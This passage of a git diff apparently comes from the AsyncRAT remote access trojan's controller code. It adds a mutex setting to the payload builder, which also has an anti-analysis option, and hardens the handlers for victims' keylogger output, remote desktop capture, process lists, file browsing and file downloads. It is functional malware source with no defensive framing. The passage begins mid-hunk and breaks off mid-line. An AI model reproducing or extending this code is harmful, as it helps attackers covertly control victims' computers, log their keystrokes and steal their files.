-50,7 +52,7 @@ // // button1 // - this.button1.Location = new System.Drawing.Point(12, 611); + this.button1.Location = new System.Drawing.Point(10, 705); this.button1.Name = "button1"; this.button1.Size = new System.Drawing.Size(446, 50); this.button1.TabIndex = 0; @@ -169,10 +171,12 @@ // // groupBox3 // + this.groupBox3.Controls.Add(this.txtMutex); + this.groupBox3.Controls.Add(this.label5); this.groupBox3.Controls.Add(this.chkAnti); this.groupBox3.Location = new System.Drawing.Point(16, 468); this.groupBox3.Name = "groupBox3"; - this.groupBox3.Size = new System.Drawing.Size(440, 99); + this.groupBox3.Size = new System.Drawing.Size(440, 174); this.groupBox3.TabIndex = 9; this.groupBox3.TabStop = false; this.groupBox3.Text = "MISC"; @@ -187,17 +191,33 @@ this.chkAnti.Text = "Anti Analysis"; this.chkAnti.UseVisualStyleBackColor = true; // - // Builder + // txtMutex + // + this.txtMutex.Location = new System.Drawing.Point(106, 99); + this.txtMutex.Name = "txtMutex"; + this.txtMutex.Size = new System.Drawing.Size(271, 26); + this.txtMutex.TabIndex = 11; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(14, 102); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(52, 20); + this.label5.TabIndex = 10; + this.label5.Text = "Mutex"; + // + // FormBuilder // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(470, 693); + this.ClientSize = new System.Drawing.Size(470, 788); this.Controls.Add(this.groupBox3); this.Controls.Add(this.groupBox2); this.Controls.Add(this.groupBox1); this.Controls.Add(this.button1); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.Name = "Builder"; + this.Name = "FormBuilder"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; this.Text = "Builder"; this.Load += new System.EventHandler(this.Builder_Load); @@ -227,5 +247,7 @@ private System.Windows.Forms.ComboBox comboBoxFolder; private System.Windows.Forms.GroupBox groupBox3; private System.Windows.Forms.CheckBox chkAnti; + private System.Windows.Forms.TextBox txtMutex; + private System.Windows.Forms.Label label5; } } \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs index 06001e7..23cfad3 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs @@ -24,6 +24,8 @@ namespace AsyncRAT_Sharp.Forms if (string.IsNullOrWhiteSpace(textFilename.Text) || string.IsNullOrWhiteSpace(comboBoxFolder.Text)) return; if (!textFilename.Text.EndsWith("exe")) textFilename.Text += ".exe"; } + if (string.IsNullOrWhiteSpace(txtMutex.Text)) txtMutex.Text = Guid.NewGuid().ToString().Substring(10); + try { button1.Enabled = false; @@ -57,10 +59,10 @@ namespace AsyncRAT_Sharp.Forms method.Body.Instructions[i].Operand = chkAnti.Checked.ToString().ToLower(); if (method.Body.Instructions[i].Operand.ToString() == "%MTX%") - method.Body.Instructions[i].Operand = Settings.Password; //Guid.NewGuid().ToString(); + method.Body.Instructions[i].Operand = txtMutex.Text; - if (method.Body.Instructions[i].Operand.ToString() == "NYAN CAT") - method.Body.Instructions[i].Operand = Settings.Password; + //if (method.Body.Instructions[i].Operand.ToString() == "NYAN CAT") + // method.Body.Instructions[i].Operand = Settings.Password; } } } @@ -92,6 +94,7 @@ namespace AsyncRAT_Sharp.Forms MessageBox.Show("Done!", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information); Properties.Settings.Default.DNS = textIP.Text; Properties.Settings.Default.Filename = textFilename.Text; + Properties.Settings.Default.Mutex = txtMutex.Text; Properties.Settings.Default.Save(); button1.Enabled = true; this.Close(); @@ -130,12 +133,16 @@ namespace AsyncRAT_Sharp.Forms { comboBoxFolder.SelectedIndex = 0; textPort.Text = Settings.Port; + txtMutex.Text = Guid.NewGuid().ToString().Substring(10); if (Properties.Settings.Default.DNS.Length > 0) textIP.Text = Properties.Settings.Default.DNS; else textIP.Text = "127.0.0.1,127.0.0.1"; if (Properties.Settings.Default.Filename.Length > 0) textFilename.Text = Properties.Settings.Default.Filename; + + if (Properties.Settings.Default.Mutex.Length > 0) + txtMutex.Text = Properties.Settings.Default.Mutex; } } } \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs index 270dbe7..2a86717 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs @@ -31,7 +31,7 @@ namespace AsyncRAT_Sharp.Forms private async void timer1_Tick(object sender, EventArgs e) { labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(C.BytesRecevied)}"; - if (C.BytesRecevied > dSize) + if (C.BytesRecevied >= dSize) { labelsize.Text = "Downloaded"; labelsize.ForeColor = Color.Green; @@ -44,7 +44,9 @@ namespace AsyncRAT_Sharp.Forms private void SocketDownload_FormClosed(object sender, FormClosedEventArgs e) { if (isDownload) + { if (C != null) C.Disconnected(); + } } public void Send(object obj) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.cs index f5fa981..fa473bc 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.cs @@ -17,8 +17,6 @@ namespace AsyncRAT_Sharp.Forms { Methods.FadeIn(this, 5); - textPorts.Text = Settings.Port; - textPorts.Text = "6606, 7707, 8808"; if (Properties.Settings.Default.Ports.Length > 0) textPorts.Text = Properties.Settings.Default.Ports; diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs index 6f6261a..05dca00 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs @@ -56,7 +56,7 @@ namespace AsyncRAT_Sharp.Forms private void FormRemoteDesktop_Load(object sender, EventArgs e) { button2.Top = panel1.Bottom + 5; - button2.PerformClick(); + //button2.PerformClick(); } private void Button1_Click(object sender, EventArgs e) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs index 7dbf471..a9970bf 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs @@ -6,6 +6,7 @@ using System.Drawing; using System.IO; using System.Windows.Forms; using System.Threading; +using System.Threading.Tasks; namespace AsyncRAT_Sharp.Handle_Packet { @@ -13,151 +14,161 @@ namespace AsyncRAT_Sharp.Handle_Packet { public void FileManager(Clients client, MsgPack unpack_msgpack) { - switch (unpack_msgpack.ForcePathObject("Command").AsString) + try { - case "getDrivers": - { - if (Program.form1.InvokeRequired) + switch (unpack_msgpack.ForcePathObject("Command").AsString) + { + case "getDrivers": { - Program.form1.BeginInvoke((MethodInvoker)(() => + if (Program.form1.InvokeRequired) { - FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; - if (FM != null) + Program.form1.BeginInvoke((MethodInvoker)(() => { - FM.listView1.Items.Clear(); - string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); - for (int i = 0; i < driver.Length; i++) + FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; + if (FM != null) { - if (driver[i].Length > 0) + FM.listView1.Items.Clear(); + string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); + for (int i = 0; i < driver.Length; i++) { - ListViewItem lv = new ListViewItem(); - lv.Text = driver[i]; - lv.ToolTipText = driver[i]; - if (driver[i + 1] == "Fixed") lv.ImageIndex = 1; - else if (driver[i + 1] == "Removable") lv.ImageIndex = 2; - else lv.ImageIndex = 1; - FM.listView1.Items.Add(lv); + if (driver[i].Length > 0) + { + ListViewItem lv = new ListViewItem(); + lv.Text = driver[i]; + lv.ToolTipText = driver[i]; + if (driver[i + 1] == "Fixed") lv.ImageIndex = 1; + else if (driver[i + 1] == "Removable") lv.ImageIndex = 2; + else lv.ImageIndex = 1; + FM.listView1.Items.Add(lv); + } + i += 1; } - i += 1; } - } - })); + })); + } + break; } - break; - } - case "getPath": - { - if (Program.form1.InvokeRequired) + case "getPath": { - Program.form1.BeginInvoke((MethodInvoker)(() => + if (Program.form1.InvokeRequired) { - FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; - if (FM != null) + Program.form1.BeginInvoke((MethodInvoker)(() => { - FM.listView1.Items.Clear(); - FM.listView1.Groups.Clear(); - string[] _folder = unpack_msgpack.ForcePathObject("Folder").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); - ListViewGroup groupFolder = new ListViewGroup("Folders"); - FM.listView1.Groups.Add(groupFolder); - int numFolders = 0; - for (int i = 0; i < _folder.Length; i++) + FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; + if (FM != null) { - if (_folder[i].Length > 0) + FM.listView1.Items.Clear(); + FM.listView1.Groups.Clear(); + string[] _folder = unpack_msgpack.ForcePathObject("Folder").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); + ListViewGroup groupFolder = new ListViewGroup("Folders"); + FM.listView1.Groups.Add(groupFolder); + int numFolders = 0; + for (int i = 0; i < _folder.Length; i++) { - ListViewItem lv = new ListViewItem(); - lv.Text = _folder[i]; - lv.ToolTipText = _folder[i + 1]; - lv.Group = groupFolder; - lv.ImageIndex = 0; - FM.listView1.Items.Add(lv); - numFolders += 1; + if (_folder[i].Length > 0) + { + ListViewItem lv = new ListViewItem(); + lv.Text = _folder[i]; + lv.ToolTipText = _folder[i + 1]; + lv.Group = groupFolder; + lv.ImageIndex = 0; + FM.listView1.Items.Add(lv); + numFolders += 1; + } + i += 1; + } - i += 1; - } - - string[] _file = unpack_msgpack.ForcePathObject("File").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); - ListViewGroup groupFile = new ListViewGroup("Files"); - FM.listView1.Groups.Add(groupFile); - int numFiles = 0; - for (int i = 0; i < _file.Length; i++) - { - if (_file[i].Length > 0) + string[] _file = unpack_msgpack.ForcePathObject("File").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); + ListViewGroup groupFile = new ListViewGroup("Files"); + FM.listView1.Groups.Add(groupFile); + int numFiles = 0; + for (int i = 0; i < _file.Length; i++) { - ListViewItem lv = new ListViewItem(); - lv.Text = Path.GetFileName(_file[i]); - lv.ToolTipText = _file[i + 1]; - Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_file[i + 2]))); - FM.imageList1.Images.Add(_file[i + 1], im); - lv.ImageKey = _file[i + 1]; - lv.Group = groupFile; - lv.SubItems.Add(Methods.BytesToString(Convert.ToInt64(_file[i + 3]))); - FM.listView1.Items.Add(lv); - numFiles += 1; + if (_file[i].Length > 0) + { + ListViewItem lv = new ListViewItem(); + lv.Text = Path.GetFileName(_file[i]); + lv.ToolTipText = _file[i + 1]; + Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_file[i + 2]))); + FM.imageList1.Images.Add(_file[i + 1], im); + lv.ImageKey = _file[i + 1]; + lv.Group = groupFile; + lv.SubItems.Add(Methods.BytesToString(Convert.ToInt64(_file[i + 3]))); + FM.listView1.Items.Add(lv); + numFiles += 1; + } + i += 3; } - i += 3; + FM.toolStripStatusLabel2.Text = $" Folder[{numFolders.ToString()}] Files[{numFiles.ToString()}]"; } - FM.toolStripStatusLabel2.Text = $" Folder[{numFolders.ToString()}] Files[{numFiles.ToString()}]"; - } - })); + })); + } + break; } - break; - } + } + } + catch { } } public void SocketDownload(Clients client, MsgPack unpack_msgpack) { - switch (unpack_msgpack.ForcePathObject("Command").AsString) + try { - case "pre": - { - if (Program.form1.InvokeRequired) + switch (unpack_msgpack.ForcePathObject("Command").AsString) + { + case "pre": { - Program.form1.BeginInvoke((MethodInvoker)(() => + if (Program.form1.InvokeRequired) { - - string dwid = unpack_msgpack.ForcePathObject("DWID").AsString; - string file = unpack_msgpack.ForcePathObject("File").AsString; - string size = unpack_msgpack.ForcePathObject("Size").AsString; - FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; - if (SD != null) + Program.form1.BeginInvoke((MethodInvoker)(() => { - SD.C = client; - SD.labelfile.Text = Path.GetFileName(file); - SD.dSize = Convert.ToInt64(size); - SD.timer1.Start(); - } - })); - } - break; - } - case "save": - { - if (Program.form1.InvokeRequired) - { - Program.form1.BeginInvoke((MethodInvoker)(() => - { - string dwid = unpack_msgpack.ForcePathObject("DWID").AsString; - FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; - if (SD != null) - { - if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "")))) - Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", ""))); - string filename = Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString); - if (File.Exists(filename)) + string dwid = unpack_msgpack.ForcePathObject("DWID").AsString; + string file = unpack_msgpack.ForcePathObject("File").AsString; + string size = unpack_msgpack.ForcePathObject("Size").AsString; + FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; + if (SD != null) { - File.Delete(filename); - Thread.Sleep(500); + SD.C = client; + SD.labelfile.Text = Path.GetFileName(file); + SD.dSize = Convert.ToInt64(size); + SD.timer1.Start(); } - unpack_msgpack.ForcePathObject("File").SaveBytesToFile(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString)); - } - })); + })); + } + break; } - break; - } + + case "save": + { + if (Program.form1.InvokeRequired) + { + Program.form1.BeginInvoke((MethodInvoker)(async () => + { + string dwid = unpack_msgpack.ForcePathObject("DWID").AsString; + FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; + if (SD != null) + { + if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "")))) + Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", ""))); + string filename = Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString); + if (File.Exists(filename)) + { + File.Delete(filename); + await Task.Delay(500); + } + File.WriteAllBytes(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString), unpack_msgpack.ForcePathObject("File").GetAsBytes()); + } + })); + } + break; + } + } + } + catch { } } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleKeylogger.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleKeylogger.cs index e51c6af..3272be5 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleKeylogger.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleKeylogger.cs @@ -13,24 +13,29 @@ namespace AsyncRAT_Sharp.Handle_Packet { public HandleKeylogger(Clients client, MsgPack unpack_msgpack) { - if (Program.form1.InvokeRequired) + try { - Program.form1.BeginInvoke((MethodInvoker)(() => + if (Program.form1.InvokeRequired) { - FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID]; - if (KL != null) + Program.form1.BeginInvoke((MethodInvoker)(() => { - KL.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("Log").GetAsString()); - } - else - { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "keyLogger"; - msgpack.ForcePathObject("isON").AsString = "false"; - client.BeginSend(msgpack.Encode2Bytes()); - } - })); + FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID]; + if (KL != null) + { + KL.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("Log").GetAsString()); + } + else + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "keyLogger"; + msgpack.ForcePathObject("isON").AsString = "false"; + client.BeginSend(msgpack.Encode2Bytes()); + } + })); + } + } + catch { } } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleListView.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleListView.cs index 72bc822..b571bc5 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleListView.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleListView.cs @@ -12,28 +12,39 @@ namespace AsyncRAT_Sharp.Handle_Packet { if (Program.form1.listView1.InvokeRequired) { - Program.form1.listView1.BeginInvoke((MethodInvoker)(() => + try { - client.LV = new ListViewItem(); - client.LV.Tag = client; - client.LV.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]); - string[] ipinf = new cGeoMain().GetIpInf(client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':'); - client.LV.SubItems.Add(ipinf[1]); - client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString); - client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); - client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); - client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString); - client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString); - client.LV.ToolTipText = unpack_msgpack.ForcePathObject("Path").AsString; - client.ID = unpack_msgpack.ForcePathObject("HWID").AsString; - Program.form1.listView1.Items.Insert(0, client.LV); - Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); - })); - lock (Settings.Online) - { - Settings.Online.Add(client); + Program.form1.listView1.BeginInvoke((MethodInvoker)(() => + { + client.LV = new ListViewItem(); + client.LV.Tag = client; + client.LV.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]); + string[] ipinf = new cGeoMain().GetIpInf(client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':'); + client.LV.SubItems.Add(ipinf[1]); + client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString); + client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); + client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); + client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString); + client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString); + client.LV.ToolTipText = unpack_msgpack.ForcePathObject("Path").AsString; + client.ID = unpack_msgpack.ForcePathObject("HWID").AsString; + Program.form1.listView1.Items.Insert(0, client.LV); + Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); + + if (Properties.Settings.Default.Notification == true) + { + Program.form1.notifyIcon1.BalloonTipText = $@"Connected +{client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} : {client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]}"; + Program.form1.notifyIcon1.ShowBalloonTip(100); + } + })); + lock (Settings.Online) + { + Settings.Online.Add(client); + } + new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green); } - new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green); + catch { } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePing.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePing.cs index 1908554..22b90bc 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePing.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePing.cs @@ -12,10 +12,14 @@ namespace AsyncRAT_Sharp.Handle_Packet { Program.form1.listView1.BeginInvoke((MethodInvoker)(() => { - if (client.LV != null) + try { - client.LV.SubItems[Program.form1.lv_prefor.Index].Text = unpack_msgpack.ForcePathObject("Message").AsString; + if (client.LV != null) + { + client.LV.SubItems[Program.form1.lv_prefor.Index].Text = unpack_msgpack.ForcePathObject("Message").AsString; + } } + catch { } })); } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleProcessManager.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleProcessManager.cs index cf70661..1d907c7 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleProcessManager.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleProcessManager.cs @@ -12,34 +12,39 @@ namespace AsyncRAT_Sharp.Handle_Packet { public void GetProcess(Clients client, MsgPack unpack_msgpack) { - if (Program.form1.InvokeRequired) + try { - Program.form1.BeginInvoke((MethodInvoker)(() => + if (Program.form1.InvokeRequired) { - FormProcessManager PM = (FormProcessManager)Application.OpenForms["processManager:" + client.ID]; - if (PM != null) + Program.form1.BeginInvoke((MethodInvoker)(() => { - PM.listView1.Items.Clear(); - string processLists = unpack_msgpack.ForcePathObject("Message").AsString; - string[] _NextProc = processLists.Split(new[] { "-=>" }, StringSplitOptions.None); - for (int i = 0; i < _NextProc.Length; i++) + FormProcessManager PM = (FormProcessManager)Application.OpenForms["processManager:" + client.ID]; + if (PM != null) { - if (_NextProc[i].Length > 0) + PM.listView1.Items.Clear(); + string processLists = unpack_msgpack.ForcePathObject("Message").AsString; + string[] _NextProc = processLists.Split(new[] { "-=>" }, StringSplitOptions.None); + for (int i = 0; i < _NextProc.Length; i++) { - ListViewItem lv = new ListViewItem(); - lv.Text = Path.GetFileName(_NextProc[i]); - lv.SubItems.Add(_NextProc[i + 1]); - lv.ToolTipText = _NextProc[i]; - Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_NextProc[i + 2]))); - PM.imageList1.Images.Add(_NextProc[i + 1], im); - lv.ImageKey = _NextProc[i + 1]; - PM.listView1.Items.Add(lv); + if (_NextProc[i].Length > 0) + { + ListViewItem lv = new ListViewItem(); + lv.Text = Path.GetFileName(_NextProc[i]); + lv.SubItems.Add(_NextProc[i + 1]); + lv.ToolTipText = _NextProc[i]; + Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_NextProc[i + 2]))); + PM.imageList1.Images.Add(_NextProc[i + 1], im); + lv.ImageKey = _NextProc[i + 1]; + PM.listView1.Items.Add(lv); + } + i += 2; } - i += 2; } - } - })); + })); + } + } + catch { } } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRemoteDesktop.cs index e426fbb..b366eb2 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRemoteDesktop.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRemoteDesktop.cs @@ -13,45 +13,49 @@ namespace AsyncRAT_Sharp.Handle_Packet { public void Capture(Clients client, MsgPack unpack_msgpack) { - if (Program.form1.InvokeRequired) + try { - Program.form1.BeginInvoke((MethodInvoker)(() => + if (Program.form1.InvokeRequired) { - FormRemoteDesktop RD = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString]; - try + Program.form1.BeginInvoke((MethodInvoker)(() => { - if (RD != null) + FormRemoteDesktop RD = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString]; + try { - if (RD.C2 == null) + if (RD != null) { - RD.C2 = client; - RD.timer1.Start(); - } - byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); - Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream)); + if (RD.C2 == null) + { + RD.C2 = client; + RD.timer1.Start(); + } + byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); + Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream)); - if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20)) - { - RD.pictureBox1.Image = (Bitmap)decoded; - RD.RenderSW = Stopwatch.StartNew(); + if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20)) + { + RD.pictureBox1.Image = (Bitmap)decoded; + RD.RenderSW = Stopwatch.StartNew(); + } + RD.FPS++; + if (RD.sw.ElapsedMilliseconds >= 1000) + { + RD.Text = "RemoteDesktop:" + client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Methods.BytesToString(RdpStream.Length); + RD.FPS = 0; + RD.sw = Stopwatch.StartNew(); + } } - RD.FPS++; - if (RD.sw.ElapsedMilliseconds >= 1000) + else { - RD.Text = "RemoteDesktop:" + client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Methods.BytesToString(RdpStream.Length); - RD.FPS = 0; - RD.sw = Stopwatch.StartNew(); + client.Disconnected(); + return; } } - else - { - client.Disconnected(); - return; - } - } - catch (Exception ex) { Debug.WriteLine(ex.Message); } - })); + catch (Exception ex) { Debug.WriteLine(ex.Message); } + })); + } } + catch { } } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleThumbnails.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleThumbnails.cs index 540bc5e..bb0cbd2 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleThumbnails.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleThumbnails.cs @@ -6,40 +6,44 @@ using System.Windows.Forms; namespace AsyncRAT_Sharp.Handle_Packet { - public class HandleThumbnails + public class HandleThumbnails { public HandleThumbnails(Clients client, MsgPack unpack_msgpack) { - if (Program.form1.listView3.InvokeRequired) + try { - Program.form1.listView3.BeginInvoke((MethodInvoker)(() => + if (Program.form1.listView3.InvokeRequired) { - if (client.LV2 == null) + Program.form1.listView3.BeginInvoke((MethodInvoker)(() => { - client.LV2 = new ListViewItem(); - client.LV2.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]); - client.LV2.ToolTipText = client.ID; - using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes())) + if (client.LV2 == null) { - Program.form1.imageList1.Images.Add(client.ID, Bitmap.FromStream(memoryStream)); - client.LV2.ImageKey = client.ID; - Program.form1.listView3.BeginUpdate(); - Program.form1.listView3.Items.Insert(0, client.LV2); - Program.form1.listView3.EndUpdate(); + client.LV2 = new ListViewItem(); + client.LV2.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]); + client.LV2.ToolTipText = client.ID; + using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes())) + { + Program.form1.imageList1.Images.Add(client.ID, Bitmap.FromStream(memoryStream)); + client.LV2.ImageKey = client.ID; + Program.form1.listView3.BeginUpdate(); + Program.form1.listView3.Items.Insert(0, client.LV2); + Program.form1.listView3.EndUpdate(); + } } - } - else - { - using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes())) + else { - Program.form1.listView3.BeginUpdate(); - Program.form1.imageList1.Images.RemoveByKey(client.ID); - Program.form1.imageList1.Images.Add(client.ID, Bitmap.FromStream(memoryStream)); - Program.form1.listView3.EndUpdate(); + using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes())) + { + Program.form1.listView3.BeginUpdate(); + Program.form1.imageList1.Images.RemoveByKey(client.ID); + Program.form1.imageList1.Images.Add(client.ID, Bitmap.FromStream(memoryStream)); + Program.form1.listView3.EndUpdate(); + } } - } - })); + })); + } } + catch { } } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/Packet.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/Packet.cs index 8a73428..dc12d1c 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/Packet.cs @@ -4,6 +4,7 @@ using System; using System.Diagnostics; using System.Drawing; using AsyncRAT_Sharp.Forms; +using System.Security.Cryptography; namespace AsyncRAT_Sharp.Handle_Packet { @@ -11,13 +12,14 @@ namespace AsyncRAT_Sharp.Handle_Packet { public static void Read(object Obj) { + Clients client = null; try { object[] array = Obj as 